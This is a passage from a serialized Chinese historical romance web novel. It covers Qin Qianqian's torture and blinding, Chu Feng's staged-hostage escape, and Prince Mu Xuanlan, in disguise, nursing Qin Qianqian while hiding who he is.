当初他找不到楚风，病急乱投医，想去清风酒楼买情报，可不小心得罪了她秦千千，现在这个人硬是抓住这点不肯松手，自己不好好收拾收拾她，她是不知道悔改的。
“给我打！”
她身后站着的两个侍卫，手里拿着的藤鞭可是昨晚特别处理过的，上面密密麻麻都是尖刺，又浸了一晚上辣椒水，可谓是只要一鞭就能皮开肉绽，血流不止。
穆轩岚神色不悦地睨着那两个人，他们全都犹犹豫豫地不敢下手，只要是朝中当值的人，谁不知道以后是储君穆轩岚的天下。
而且昨天侍卫中都传开了，这秦千千对储君很重要，现在一看这形式，大家就都明白了。
可现在他们两个是进退两难，不打，那是违背自己主人；打了那就是犯了储君的忌讳……
好在有人替他们做了决断。
虽然屋中静谧无比，但秦千千还是时不时歪着脑袋，似乎在听什么声音。搞懂屋中的大致状况后，她振声开口。
“穆元基，有本事就打死我！否则，我一定倾尽所有救走楚风。”
元德急得就差上去捂住她的嘴了，这话不是正戳中穆元基的痛点吗？
穆轩岚呼吸沉重了些许，他无可奈何地闭上眼睛。他现在完全不敢想，她被布蒙住的眼睛里，现在是绝望还是癫狂。
秦千千还是在故意惹怒穆元基，而且，她取得了莫大的成功。
穆元基立刻暴起，指挥那两个人动手。第一鞭抽在她背上，秦千千闷哼一声，但她咬紧牙关，任由身后人手起鞭落，她都没有再发出任何声音。
那些鞭子落在身上是痛，可后续尖刺划破皮肉，辛辣钻入皮肤的时候，秦千千只能攥紧双手，徒劳无功地想要抓住些什么。
而她被打得东倒西歪，像是雨中被打落的枯叶，左摇右晃地落在地上。
也就是这时，秦千千突然忍不住笑出声来，在座的人无不惊讶地看着她。穆元基还在心里骂她，一定是疯了。
穆轩岚心中泛过一丝绝望，他知道她在笑什么。
“穆轩岚，不知道……咳咳，不知道你的暗卫有没有告诉过你，我说过你是我最大的敌人，怕你没听到，我要再跟你说一遍。”
穆元基心中很是惊奇，明明是自己下令抽打她的，她现在怎么揪住皇兄不放？不过也好，他从未见过穆轩岚如此心痛的样子。
看来，最痛的刀子还得是心悦之人捅的啊！
现在在心中嘚瑟的穆元基，已然完全忘记，秦千千已经给他预定了个最可怕的无间地狱。
说着，她又咳嗽不止，好不容易稳住气息后，她才继续对穆轩岚的言语凌迟。
“我真是谢谢你，你的善意对我来说，就像这镣铐上的布料，聊胜于无。”
穆轩岚依旧正襟危坐，可他眼中再没有往常的盛气凌人，取而代之的是一种名为心痛的情愫。那四个字，无疑是一把利刃，狠狠戳刺进他的心。
看来，穆轩岚的确跟秦千千渐行渐行了。
元德几乎看不下去，事情怎么就到了这么地步呢？
穆元基大发慈悲地叫停处罚，“决定要说吗？”
“呵。”她嗤笑一声，挑了下眉：“尽管来，我说了，你最好直接杀了我。”
楚风还是来了，纵使穆元基三令五申跟她说，不准让她来。
但她决定要来，那些侍卫不敢强行阻拦她，毕竟比起秦千千辱骂别人的招式，楚风却是抢了刀架在自己脖子上。
总之，两位都不是省油的灯。
“穆元基，你要是再让她身上多一个伤口，这把剑也会直接划开我的喉管。”楚风表情坚毅地说。
看着她眼中闪烁着疯狂的意味，穆元基丝毫不
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敢怀疑她说的话。
自己早该想到的，她之前在密室初见秦千千，那表情就不对劲儿！
穆元基现在就算把肠子悔青都没有用了，他只能连忙起身，劝她不要冲动。
穆轩岚却端坐在椅子上，全神贯注地看着秦千千，她背后每一滴血液滴落的滴答声，在他耳中都是震耳欲聋的轰鸣。
“好好好，我答应你。”穆元基没有办法不对她妥协，那边的秦千千还在千方百计搅混水。
“楚风，你就应该趁着这个时间逃出去的。”
“你住嘴！”
穆元基吼不了楚风，还吼不了她秦千千了？那声怒吼把秦千千整个人吓了个颤栗。
穆轩岚耳中听出两道滴答声，一道是她背后正在淌血的伤口，另一道是他心在滴血的声音。
那血迹泛起的波澜，幻化成滔天巨浪，把两个人越推越远。
这一瞬间，穆轩岚思绪飞回璃光海，只不过这次离岸远去的人，不是秦千千，而是他。
“楚风，你先把刀放下。”穆元基站在原地完全不敢乱动。
楚风什么性格他一清二楚，这就是个说一不二的人。他也就在强留她的这事儿上勉强过她，其它时候，穆元基对她是完全的百依百顺。
“你继续审她，我要在这里看着。”
楚风发话，他只能照做。
穆元基在脑中思索不伤到秦千千的法子，突然想起当年让自己跟她结下梁子的一坛清风酒。
他当时着急见秦千千，可她却摆架子不见他，穆元基恼羞成怒直接摔了清风酒楼，店正中间高高悬挂的一坛酒。
那时他也不知道，那坛酒是秦千千亲自酿制给姜千秋的，挂在那里已经有数十年的年头了……
“我听说，秦老板是从不饮酒之人，今天就让秦老板过过酒瘾。”
穆轩岚想起的，都是他们之前的夜谈。她当时说，死前最想做的事情，就是不醉不归一次。只不过，她说的是清风酒，那是这里不可能有的。
秦千千似乎也想到了这里，她笑着点头，嘴上说着正合她意。
时刻观察她状态的穆轩岚，察觉到她说话的声音微弱了两分，他立马乱了阵脚。
“今天就先到这里。”穆轩岚起身一锤定音，完全没有给他人反驳的机会。
那边的穆元基也自顾不暇，他缓缓上前想拿走楚风手上的长剑，楚风是个信守承诺的人，她直接把剑扔在地上，转身离开。
走到她身边，穆轩岚把人拥入怀中，秦千千还留了两分力气挣扎，穆轩岚完全没有办法她。
原本该按住她后背把人囚在怀里，可她背后现在却是血肉模糊，他根本没办法下手。
元德在一旁赶忙解开镣铐，秦千千还是挣扎着要逃离他的怀抱，穆轩岚只能弯腰揽住她的腰肢，另一只手把她的头按在自己怀里。
下一瞬间，她突然失了所有挣扎的力气，直接昏倒在他臂弯中。
穆轩岚心痛到无以复加，他第一次觉得自己是那么无助。
110. 征途万里皆自由
晏信收到信的时候，他正在回客栈的路上，他跟他爹晏阳宏刚从一位伯伯的府上出来，这一趟让他心中颇为感慨。
自小到大，他都觉得自己那位伯伯是个菩萨心肠的大善人，赈济灾民、修桥铺路，他哪一个都没少干。
可这次他们当地遭了水灾，伯伯却要趁机压粮价，想要吞并一些农户的田地。他们这次来，就是伯伯想要跟晏阳宏共谋此事。
都说无奸不商，晏阳宏的确有商人的奸诈，可这种太伤天害理的事情，他还是做不来的。再加上晏信跟他说明了一切，晏阳宏也在慢慢转变自己之前的做法。
虽说这次谈判失败了，可晏阳宏和晏信的父子关系却又近了一步。
有个小姑娘拿着东西过来，就那么直接递给了晏信。他一看未署名的信封，就知道是秦千千写给他的。
晏信迫不及待地拆开，看到一串流光溢彩的项链和一张字条。
【千里情谊，望君珍重】
简洁明了的八个字，却让晏信做了一晚上的噩梦。
他实在读不懂其中的意思。晏阳宏告诉他，这大概是让他珍重这串项链，可晏信觉得秦千千这是让他珍重他自己。
晚上吃饭时，他还在思考这件事情。
晏阳宏给他夹了一筷子菜，宽慰他：“下次见面，你问问秦老板不就知道了？正好过段时间爹要进京，到时你跟我一起去就是了。”
跑得了和尚，跑不了庙。
晏信这才算是彻底把心放下，可晚上屡次三番的惊醒，让他彻夜难眠。
他总觉得，千千那边没有消息就是最好的消息，现在平白无故来了个消息，倒让他哪哪都觉得不对。
她现在的情况的确不容乐观，连行医几十年的大夫，看到血肉模糊的伤口后，都止不住叹气。
现在这里血迹沾着皮肉，完全没办法下手。几位大夫站在一旁束手无策，楚风回屋换了身方便行动的素白衣服，不顾穆元基阻拦赶了过来。
“你们全都出去，让我来！”
楚风虽然不是专业的大夫，可她只身行走江湖多年，难免会有伤病，她全都是自己处理的。因此，再棘手的伤口，她都敢处理。
穆轩岚也知道，这种情况等血迹再凝固，把衣服和皮肉粘在一起，就更难处理了。
他直接让所有人都出去，只留楚风和秦千千，元德他们赶忙把热水和干净的缚布放在床边，又从府中抽调几个有经验的嬷嬷，留在这里打下手。
穆元基还想去拉楚风，他不愿意让楚风干这种脏活累活，穆轩岚直接挡在他身前。
“楚风不是需要你遮蔽帮衬的娇弱之人。”说着，就让暗卫把他架走了。
楚风眼眶湿润鼻子微酸，心中万分感慨。
时隔几年，穆轩岚和秦千千，是唯二把自己当做一个独立的人来看待的。
自己不需要过度的保护，她现如今就像是被折断翅膀的老鹰，那富丽堂皇的鸟笼不适合她，唯有湛蓝的天空才配得上她。
楚风捋起袖子，开始一点一点撕开她的衣服，清理着那道道分明的伤口。外面的人也没闲着，几个大夫赶紧去抓药煎药，还有些去备些外敷的药物。
穆轩岚就岿然不动地站在门口，看着嬷嬷端着血水匆忙出门，又端着干净的热水进去，嘈杂的环境在他眼中突然没了声音。
他耳中回荡的都是秦千千那两句“一生之敌”“聊胜于无”，时至今日，穆轩岚也终于懂了，哀莫大于心死的含义。
他真的累了。
生于深宫，长于深宫中的他，本以为自己早就适应了勾心斗角、尔虞我诈的事情。现在他才发现自己错了，在和她的相处中，自己越发厌恶这种言不由衷。
够了，一切都够了。
“元德，你去把王老怪接过来。告诉他，我们救了千千，让他赶快过来救人。”
“穆轩岚，你这样不就功亏一篑了吗？”穆元基实在是忍无可忍，他刚刚还在心中宽恕了穆轩岚的人对他动手这事儿，可现在穆轩岚到底在发什么疯！
筹谋这么久的事情，就这么妥协放了她？
“然后呢？让她知道你穆轩岚就是白邵禾，跟你恩断义绝？”穆元基压低嗓音咆哮，朝他冲过去。
可惜被元德直接挡住，元德双手钳住他的胳膊，让他没办法再抬手指着穆轩岚。
他勃然大怒，可穆轩岚整个人却淡定如常，他看了穆元基一眼，平心静气地跟他说：“这计划从始而终都是本王制定、实施的。哪怕最后失败，也是本王去谢罪，与你何干。”
好好好，他穆轩岚现在是疯了。
穆元基忿忿不平地挣脱开元德的束缚，往后退了两步，飞快接受现状。
“等我和楚风走了之后，你再去找秦千千的人来。”
“本王凭什么听你的？元德，现在就去。”穆轩岚不给他一点脸，可看着满院武艺高强的暗卫，穆元基只能忍了下去。
等楚风出来，他就要立马带着她离开这里。
屋中的人帮手把秦千千扶起来，让她坐在床上，楚风坐在她身后，小心翼翼地帮她包扎伤口。
“敷料缚布不够了，你们出去让那群大夫多准备些。对了，再多烧两盆热水来，待会儿我帮她再擦洗一下脸上的血迹。对了，让殿下给她找两套衣服，现在这衣服肯定是穿不了。”
楚风吩咐她们，众人都赶紧出去各忙各的。
穆轩岚看着鱼贯而出的人，心中升起一丝不安，屋中剩下的人全都出来了，除了楚风和千千。
“殿下，楚小姐让我们备些衣服。”为首的嬷嬷低头跟穆轩岚汇报，穆轩岚点头默许，亲自带她去拿衣服。
早就知道她会受伤，穆轩岚早就让人备好了衣服。看着眼前各色的衣服时，穆轩岚私心选了一套雪白绸缎裁制的衣服。
外面各司其职的时候，屋中的楚风在给秦千千包扎，她的手穿过秦千千腋下，缠绕完手中最后一块儿缚布的时候，秦千千痛的小声抽气。<
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p>“你醒了？”楚风歪头看着她，却不敢撤开自己的双手，生怕她一个不稳倒下去。
“没空说那些了！待会儿我穿好衣服，你就架着我出去，这是你唯一能逃走的机会了。”秦千千气若游丝，但她的思路还是十分清晰。
自从两天前，她在密室中跟秦千千见面，当时秦千千并没有直接晕过去，她昏迷前让楚风这两天养好身体，时机成熟时，她会帮自己可以逃离这里。
因而，楚风这两天才消停两天，胃口大开地吃了好些东西。
楚风难得湿了眼眶，这是秦千千第二次帮助她了。
上次她从王府中逃离，为了寻求庇佑就去了清风酒楼。在此之前她跟秦千千有一面之缘，她知道秦老板并非江湖上说的那样唯利是图、不近人情。
秦千千了解完情况后，也几乎没有犹豫，立马让她藏好，就这么瞒了所有人十几天。
可京都风声越来越紧，穆元基当时几乎就要把整个京都翻过来。
他甚至还来清风酒楼打砸，秦千千下楼跟他一顿好吵。事后，她跟自己说不要怕，就在这里待着，她会想办法把自己弄出去的。
可楚风当时犹豫了，她担心会因为自己牵连到清风酒楼，就留下书信离开。也就是那晚，她走出不远就被穆元基抓了回去。
又被囚禁几年，楚风没有一刻不在后悔，现在她全然相信秦千千。
“可你怎么办？”楚风一脸担忧地看着她，秦千千皱着眉摇头：“这几年你还没想明白吗？凡事不要顾忌那么多。”
想到什么，秦千千脸上泛起一抹微笑：“那我就祝你以后征途万里皆自由，行遍江湖乐无忧喽！”
自己真是出息了！
秦千千心想，要是主人知道自己说出的这话，一定也会为自己骄傲的。可现在来不及分享这份喜悦，她们还有别的事情要做。
楚风无声点头，秦千千这才继续说：“刚好现在是夜晚，你逃跑时更方便些，记住，千万要避着人走！”
楚风身体一僵，这也不是那被钉死门窗的屋子，屋中甚是亮堂，她怎么说这种话？
难不成……
她抬手在秦千千面前晃了晃，看她一点反应都没有，心如坠冰窟。
完了，大夫说的病，真的出现了。
“千千，我不走了。”楚风不再听她说什么，她实在无法利用现在如此惨兮兮的人。
秦千千被气得直咳嗽，“我枕头下有匕首，是我昨天被审讯的时候偷的，快些装进你袖子里。”
门被嬷嬷们打开，秦千千眼睛一闭歪头，倒在楚风颈侧。
楚风眼神复杂，她接过嬷嬷递过来的衣服，给秦千千穿上。一旁的嬷嬷还在奇怪，她腰上的伤口还没包扎，怎么就穿上衣服了呢？
好在衣服比较宽松，不会勒到伤口，楚风拿起无用的腰带绑上了秦千千的眼睛。给秦千千穿戴整齐后，她立即抽出袖子中的匕首，抵在了秦千千脖子上。
“你们全都退下！”
111. 已经没有下次了
听到屋中的异动，没人敢冲进屋，那几个嬷嬷火急火燎地跑出门。
站在门口的穆轩岚，看清屋中的形式后，眼中多了一丝无奈。
她都这个样子了，还想着救别人呢……
楚风一脸十分纠结，既于心不忍，又不得不这么做。
穆轩岚一眼就看出实情，他只能缓步后退，不想阻拦她们两个人的计划。
庭院中站着的穆元基差点昏死过去，还是元德拉了他一手，这才没有让他直接倒在地上。
“楚风，你不要这个样子，快放了她！”穆元基一脸懊悔，他就不该让楚风给她治病。看着她怀中脸色惨白的秦千千，穆元基赶忙冲穆轩岚喊：“皇兄，你千万不要让暗卫伤害到她啊！”
穆轩岚不用想，都知道他说的是楚风，他冷漠地睨了他一眼，没有答应也没有拒绝。
那眼神看的穆元基心里一紧，他生怕穆轩岚直接下令杀了楚风。
元德也是眉头紧锁，心想这楚风真是机关算尽，秦千千都伤成那个样子了，她居然还要拿她做人质！
“放开她。”
穆轩岚象征性地开口阻拦，秦千千往他的方向偏了下头，似乎有些惊讶。
看来这穆轩岚是发现真相了？不过他似乎不准备拆穿她们。
不止秦千千发现不对，穆元基和元德都颇为奇怪地看着他。穆元基在想他怎么在这关键时候不急了，元德也觉得殿下的语气很是诡异，太过平静了。
秦千千不纠结这个，她不可自抑地咳嗽了一声，楚风知道她坚持不了多久，就开口提出她的要求。
“我要你们给我挑个最好的马匹，不许追我，等我到了安全的地方，自然会把她放了。不然，我现在就杀了她！”
楚风紧了一分手上的匕首，刀刃抵在秦千千脖子间，楚风不用看，就知道刀刃看似近，其实还有一定距离。
可秦千千却觉得做戏就要做圈套，她用力往前一扑，脖子撞上匕首。熟悉的感觉再度回归，秦千千这才心满意足地站定不动。
院子中的人都因为这个意外紧张起来。
穆轩岚担心她再乱来，楚风不伤害她，不代表她自己不会伤害自己。
穆元基更是恨不得直接冲上去，他宁愿楚风拿刀捅自己，也不愿意她伤害秦千千。毕竟，后者穆轩岚一定不会放过她的。
“好，我去给你备马，你千万不要乱动！”赶在穆轩岚发飙前，穆元基赶紧答应了她的要求。
穆元基离开前，还专门跑到穆轩岚身边，满眼急切地求他：“皇兄，我求你不要伤害楚风，她今日纯属是无心之失。”
由于曾经的恩怨，穆元基能咬牙死扛的时候，他绝不会求穆轩岚。穆轩岚看了他一眼，转而又去看楚风，最终看着楚风说出了他的条件。
“只要她不再伤害秦千千，我自不会拿她怎么样。”
秦千千、楚风、穆轩岚，三个人都心知肚明对方在唱什么戏，因此算是达成了微妙的平衡。而穆元基像是抓住了救命稻草，赶紧去准备马匹。
眼看秦千千的状况越来越差，穆轩岚的脸色也越来越严峻。
不出一炷香，穆元基告诉她已经在前门备好了马，让她带人过去。
可楚风清楚，前门是繁华闹市，纵马根本走不快，甚至还有可能被人群绊住脚，走不出多远就会被抓住了。
反倒是这院子后院毗邻群山，而且山势也算平坦，骑马往山里跑，反而会有一些机会。
“把马给我牵到后院门口，然后把那里的仆人侍卫全都遣散，快点！”
越接近自己想要的自由，楚风心中越是激动，她现在觉得自己浑身的血液都在沸腾。另一个让她这么着急的原因，就是秦千千。
刚出门时，她还能独自站立，可现在她只能勉强倚在自己怀里。而她无意间低头看，才察觉血迹已然浸透衣衫，千千背上全都是触目惊心的红。
一切准备停当后，她就带着秦千千一路退到后门。
唯二跟上来的人，就是穆轩岚和穆元基，其余的侍卫暗卫，全都在原地待命。
穆轩岚面色不悦，眼神仿佛能杀人。楚风知道他的意思，他肯定是想尽快把千千带回去治病，而自己也不会揪着她不放，秦千千的伤势的确不能再拖了。
两个人无声中交换了个眼神，楚风这才瞄了一眼，他身旁急切的不行的穆元基，她冷笑一声，直接把秦千千往前一推，翻身上马，扬长而去。
穆元基，他日我定要取你性命！
这是楚风在心中对他说的最后一句话，现在他没听到也无妨，自己早晚会告诉他的。
楚风策马狂奔，耳边呼啸的风声不止流淌在耳边，更冲进她的心里。她不知自己跑出多远，跑了多久，直到泪水蓄满眼眶，她也丝毫不敢停下步伐。
她在心中祈求上苍，要让秦千千好好活下去，自己一定会肝脑涂地地报答她。
在楚风翻身上马时，穆轩岚赶忙过去接住秦千千，把人拥入怀中后，他才彻底松了口气。
穆元基迟了一步，自然追不上楚风。他懊悔地看着那人的背影，心中暗自下定决心，下次抓到她，自己不会再对她心慈手软了。
可他不知道，已经没有下次了。
再次见面，楚风是来取他性命的。
穆轩岚没空看他在这里悲春伤秋，他轻手轻脚地抱起秦千千，往府中走去。刚到屋中，穆元基就跟了上来，穆轩岚没有心思安慰他。
“过会儿千千的人就到，你赶紧走还来得及。”
不等他回复，穆轩岚就招手让元德轰走他，而后元德识相地关上门，留殿下和秦千千独处。
穆轩岚先是让她倚在自己怀里，先飞快地把她脖子上的伤口包扎好，然后毫不犹豫地脱了她的衣服。
衣服上的血迹看得他心惊，当时选白衣服，他就是出于这个用意，可以直接看出她的伤势。现在伤势不容乐观，那就得赶紧处理。
把她上半身衣服褪去后，穆轩岚这才发现，楚风为她处理过的上面伤口没再流血，出血的都是腰间尚
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未包扎的地方，他拿起床边桌上的敷料和缚布，熟练地给她包扎伤口。
处理妥当后，他发觉秦千千浑身冰凉，于是顺势保持刚刚给她包扎的姿势，他双手轻轻环住秦千千的腰，把她抱在自己怀中。
拉过旁边的被子给怀中人裹好，然后周遭陷入一片寂静，静得穆轩岚有些不适。他眼眶微涩，缓缓把脑袋抵在秦千千脸边，他的手在被子中裹住她微凉的手，试图快些把那手暖热。
“千千，醒来吧，我不会再瞒你了。”穆轩岚察觉到自己说话的声音都在颤抖，他惘然地闭上眼睛，不让眼泪掉落。
在他彻彻底底想清楚后，他才有勇气解开秦千千眼前的布条。隐瞒她，让自己身心俱疲，他不想再这样下去了。
王老怪他们接到消息时，正准备跟一队人贩子干仗，因此，只能两日后再到。
元德深夜来给殿下汇报情况，却看到秦千千眼睛上的遮挡不见了。他心中了然，就先行说了王老怪那边的情况。
“殿下，穆元基没有走远，他在等殿下的书信。”
穆轩岚转头看了眼元德，让他代自己动笔，“出了什么意外，我会在父皇面前承担所有。元德，明日我们就不用掩藏身份了，我打算都告诉她。”
明日不见得她会醒，元德没敢说这话。说了，怕是直接要被殿下下令吊死……
那他更不敢劝殿下三思，这一路以来，殿下已经因为这事儿受了好多罪了，殿下怎么做，他都会无条件支持的。
“是，殿下。”
只能说那些大夫的药还是有些作用，夜半穆轩岚就发现，她从昏迷不醒，转为沉沉睡去了。
她时不时浑身一颤，让穆轩岚心疼的不行。这一路上，她被这个吓完，又被那个吓，简直是提心吊胆地过活。
穆轩岚轻手轻脚地把她放在床上，可又不能让她平躺，只能陪她躺下，让她侧身躺在自己怀里。
好不容易安生了一会儿，她又十分不满又委屈地冒出一句呓语，那话听得穆轩岚心在滴血。
“我包子还没吃完，你们就打我！”
穆轩岚忍了一夜的眼泪从眼角滑落，无声砸在枕头上，他用下巴抵住她的额头，可触碰到的不是她的额头，而是缠绕在脑袋上的缚布。
他轻轻在上面落了个吻，偷来片刻亲密无间，而后愧疚到天明。
察觉到怀中人微动，穆轩岚低头看着秦千千，从苏醒到抬眼看他，一切都是那么正常。可他没有从她的脸上看到丝毫喜悦，那上面反而全是不解。
秦千千抬手摸到身前的人，皱眉问他是谁，现在几更天了，怎么天还没亮。
“千千，你说什么？”
穆轩岚不可思议地抬手在她眼前晃动，可她没有任何反应，他顿时觉得五雷轰顶，怎么就看不见了呢？
听到熟悉的声音，秦千千顿时开心起来：“邵禾兄，原来是你啊！桑姐姐她们来了吗？”
穆轩岚眼神复杂，他张嘴却不知道该说什么，那沉默让秦千千察觉到了什么。
112. 没有说出口的机会
“桑姐姐出事了？”秦千千一急，就想起身，结果牵动到身后的伤口，痛得她五官都皱在了一起。
穆轩岚赶忙扶住她，这才让她平稳地坐了起来。
“没有没有，安置好她们，我和元德才过来的。可是千千，你真的什么都看不到吗？现在其实，已经天光大亮了。”
比起身份，穆轩岚更在意她的眼睛，难不成第一位大夫说的话成真了？那一撞，还是留下了病根？
秦千千刚出一口气，这就立马紧张起来，慌乱中她抓住穆轩岚的胳膊，其实是他把自己的胳膊送了上去。
“不会吧？难不成真的是我那一撞，把脑袋撞坏了？”她眉头紧皱，突然想起一件事儿：“快快快，咱们快走，不能让穆轩岚和穆元基抓到咱们。他们两个折磨我两天，你得快些救我出去。”
她的手攥得越发紧，穆轩岚察觉出来，她很害怕。若是自己现在说出实情，会吓到她吗？
他无奈地叹气，那就只能先瞒下这件事情了。
“放心放心，我们现在就走。”
穆轩岚和穆元基是为何离开的，他们又怎么突然放过了秦千千，所有的借口都没想好，穆轩岚来不及想那么多，她怕这里，那自己就带她走。
元德刚进来，就看到秦千千被殿下搀起来，他正疑惑之时，穆轩岚朝他摇了下头，元德立马明白其中的意思。
“老板，你终于醒了。”现在他不是暗卫统领，而是清风酒楼的伙计，眼前的也不是殿下，而是那位志在四海的商贾之子白邵禾。
秦千千没空跟他叙旧，她火急火燎地摆手：“快走，咱们到了安全的地方再说。”
就这么坐着马车颠簸了半日，秦千千实在身体不适，这才叫停。半日时间，足够白邵禾想出一套完美的说辞了。
他先发制人，问她遭遇了什么，怎么会弄成现在的样子。秦千千忍着身体的不适，给他大致讲了一遍，白邵禾满是私心地问她。
“之前我以为你那只是托词，原来你主人真的不再管你了吗？还有你们酒楼不是有很多线人，这些人也突然不联系你了？”
秦千千黯淡无光的目光，配上她骤然低垂的眉眼，还是让白邵禾看到了其中的落寞。
“是啊，我不是说说而已的，这种事情是很认真的。而且，我现在又这个样子，自然不可能再回清风酒楼了。”
白邵禾不可置信地皱眉，她姜千秋对外如此行侠仗义，对内却是这般无情吗？
“千千，你说你主人有没有可能会治你的眼睛？我们要是找到她，你的眼睛或许还有救吧？”
若是真能找到姜千秋，她的眼睛肯定有救！
而若是真有机会见她的话，自己一直追寻的事情，也能有个答案……
白邵禾在心中唾弃自己，事到如今，他还是无法放弃自己的终极目的，他的确想做一箭双雕的事情。
可若是见不到姜千秋，那他也愿意庇佑秦千千一辈子，只是自己的父皇……
秦千千无奈地笑着：“主人不是神医，这种事情她是不会知道的。况且现在主人是绝对不能露面的，各方势力都在找她，就算我自己为此而死，我也不能让主人出来。”
穆轩岚和穆元基自然要被她拉出来痛骂，等她发泄的差不多后，秦千千才迟钝地察觉到什么。
“邵禾兄，你若是想见我主人的话，我可以帮你……”
“不要，既然她救不了你，我就没必要见她了。”
白邵禾果断地决绝了她的提议，他不能容许自己为了达成目的，再一次利用她。
要真是靠着这个机会见到了姜千秋，那他和秦千千，就真的万劫不复了。悬崖勒马后，他长出一口气，心里的一块儿大石头落地。
马车外赶车的元德心中也是万分感慨，殿下没回答时，他的心里也揪了起来。
一边是与皇上的父子情深，另一边则是殿下生平第一次倾心之人，虽说殿下做什么选择，他都理解。
可那一瞬间，元德承认，他更希望殿下拒绝。听到自己想要的答案后，元德的心情也是愉悦了两分。
秦千千木讷地点头，问他现在她们要去哪里。
白邵禾告诉她王老怪很忙，所以他们现在赶去找王老怪。他想，王老怪指不定有什么办法治病。
“这这这，怎么就弄成这个样子？”王老怪大致看了一眼她浑身的伤，两条眉毛皱得都快连在一起了。
白邵禾左手端扶着她的胳膊，右手绕过她的身后虚掩在她腰际，就这么扶着她走向王老怪。
王老怪愣了两秒，然后绝望地闭上了眼睛，平时炯炯有神的眼睛，怎么也出了毛病！
四个人随便找了个客栈，应秦千千的要求，先给她吃顿饱饭后再看病，白邵禾坐在一旁忙着喂她，毫无怨言。
王老怪看他满眼心疼的样子，就苦中作乐地打趣他：“白公子，你让元德帮忙喂一会儿，自己也吃些饭。菜夹碗里她自己还是能扒拉着吃的，胳膊没残呢。”
元德生怕被殿下记恨上，他赶忙摇头，说自己不会。白邵禾手上动作没停，耳朵也没听他说的话，还是在一筷子一筷子地喂着她。
秦千千耳朵可不聋，她现在明明吃的好好的，这王老怪可不就是找她的茬嘛！
“你这老头盼我点好吧！”她抬手指着王老怪，虽然眼神不行，但方向准确无误。
就是差点碰上白邵禾手中的筷子，还好白邵禾收手收的快，这才没让她的胳膊也受伤。
“得得得，算我多嘴！”王老怪立马认输，看她这精神劲儿，王老怪放了些心。
能吃能骂，身体就差不到哪儿去。
果然，检查完除了后背的所有伤口后，王老怪都不由得感叹：“你昨天吃的半个包子，里面包了太上老君的几粒金丹吧！这伤口都没有恶化，接下来最主要的就是修养。”
秦千千本来跟他埋怨，自己昨天只吃了半个包子，结果被王老怪这么一说，她也跟着笑了起来。
“有没有可能是我身体强壮，或者天赋异禀！”
死里逃生后遇到熟人，她现在的状态可谓是放松多了。白
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邵禾都猜测，她平常在姜千秋身边，应该就是这个样子。
昨晚那委屈的呓语，应该就是在跟她主人撒娇吧？
再度看她充满精力的样子，白邵禾觉得自己的心也跟着柔软了很多。
可惜王老怪不是个按常理出牌的主，他食指中指并在一起，敲上了秦千千仍旧裹着缚布的额头。
“当然不是！你要是真的长了个榆木脑袋，也不至于头上撞这么大一个包了！”
“嗷！”
秦千千赶紧捂上自己的额头，站在一旁的白邵禾也护犊子般护住她的额头，手轻轻搭在她手背上轻拍了两下。
察觉到白邵禾不悦的眼神，王老怪赶紧把手背到身后，给他说了个好消息。
“这我估计是头里面有淤血，说不准淤血散去，她眼睛就能看得见了。”
秦千千脸上绽放一丝笑意，也就是说自己还有救。看着她傻乐的样子，白邵禾毫不掩饰地叹了口气，她这心态真的是常人达不到的。
“说不准是有多说不准，所以我们只能这么干等着吗？”他恨不得让秦千千立马好起来，恢复她平时洞悉一切的样子。
王老怪朝他摆手，让他坐下来冷静一下。
“我拿我这颗项上人头担保，她一定会好起来的。不然，我王老怪头送给你们！”
“要夜壶干嘛！”说罢，她未卜先知地捂住自己额头。
白邵禾在一旁无奈地笑，她这嘴可真是一点都不饶人啊！他眼神黏在秦千千身上，王老怪不得不打断他。
“白公子，她背上的伤口，你去看看有没有渗血，若是没有渗血，就先不打开看了。”
一般行医之人处理这些皮肉之伤，流程都大差不差，因此他还是很放心穆家王爷找的人的。
秦千千也没有扭捏，去了卧房后，自己摸索着把上衣给脱了。她自己也清楚，她上半身都被缚布裹完了，就差两条胳膊了，给他看看也没什么难为情的。
检查完后，她由白邵禾引着出门。听到没有渗血后，王老怪这下是彻底放心了。
“我就说嘛，这穆家两位王爷，怎么着也不会给你找什么乱七八糟的大夫吧，还是靠谱的。对了白公子，穆家两位爷，是什么时候走的，你和元德又是怎么救出她的啊。”
秦千千没有问的事情，王老怪问了出来，白邵禾搬出早就编好的谎言，早说晚说，都得说。
“我和元德在外面埋伏，结果一队人先行离开，我看到领头的人是穆元基。”
秦千千恍然大悟：“他肯定是找楚风去了。”说着，又把楚风的事情给王老怪复述了一遍。
白邵禾在一旁忍俊不禁，不知道穆元基是怎么得罪她了，她跟穆元基是真不对付啊！
而且，看来她是不准备帮穆元基保密那件事情了，就这么随便地说了出来。
白邵禾不懂江湖规矩，王老怪却懂。
江湖人最怜惜江湖人，像楚风这种被官爵迫害的江湖人，只要消息散播出去，大家能帮都会尽量帮一手的。这对她的潜逃，百利而无一害。
113. 一撞撞得铁树开花了
听王老怪解释后，白邵禾不由得在心中感慨，没想到江湖侠义之辈还是挺多的，怪不得，有些人会忘情于江湖。
而秦千千，莫过于江湖上最适合传扬这件事情的人了。
“后面那一波人，是悄然离去的，为首的人骑着高头大马，往京都的方向赶去了。”
天子身体抱恙这事儿，白邵禾认为秦千千一定知道，而且凭空捏造事情太容易暴露，因此，讲话时半真半假才是最好的办法。
而他也没必要把话说清楚，似是而非，问就是好像是这个样子，这就足够了。
果然，秦千千接上了他的话茬，说自己知道这事儿。
“哎呀，怕不是皇上的病又重了？我最后收到的消息，就是说这事儿的，再后来，我就什么都不知道了。不过，我这也算是因祸得福了。”
白邵禾在心中推断，从父皇身体出问题到现在，秦千千究竟是什么时候得到的消息？
沉吟良久，他才得出一个可怕的结论，或许在兴江村，她就知道这个消息了。
也只有这样才能解释，她为什么在那里托孤，自己又甘愿赴死。因为她知道，穆家一定会立马采取措施，而她要是铁了心不交代，那她可不就是死路一条。
“不过我倒是奇怪，他怎么没把我带走，毕竟，他想问的东西还没问到手，就这么把我放在原地走了？”
秦千千想不明白这一点，这种蠢事，别说穆轩岚，就是穆元基他也做不出来啊！
白邵禾跟元德对视一眼，王老怪察觉到两个人在遮掩什么，就让他们放心地说。
“他是留了几十个人在这里看守千千的，我估计他是怕舟车劳顿让你伤势更重吧，我和元德收拾那些人还是绰绰有余的。”说到这里，白邵禾转头望了一眼身边的秦千千，这才继续说。
“可我们救了她，她夜半呓语一直在喊怕，我就跟元德商量先不把这事儿告诉她。”
原来是这样！
秦千千和王老怪同时深吸气，恍然大悟。王老怪忍不住笑出声，知道他没憋什么好屁，秦千千就直接踢了一下他的腿，让他闭嘴。
“时候不早了，咱们就早些休息吧。”她打了个哈欠。
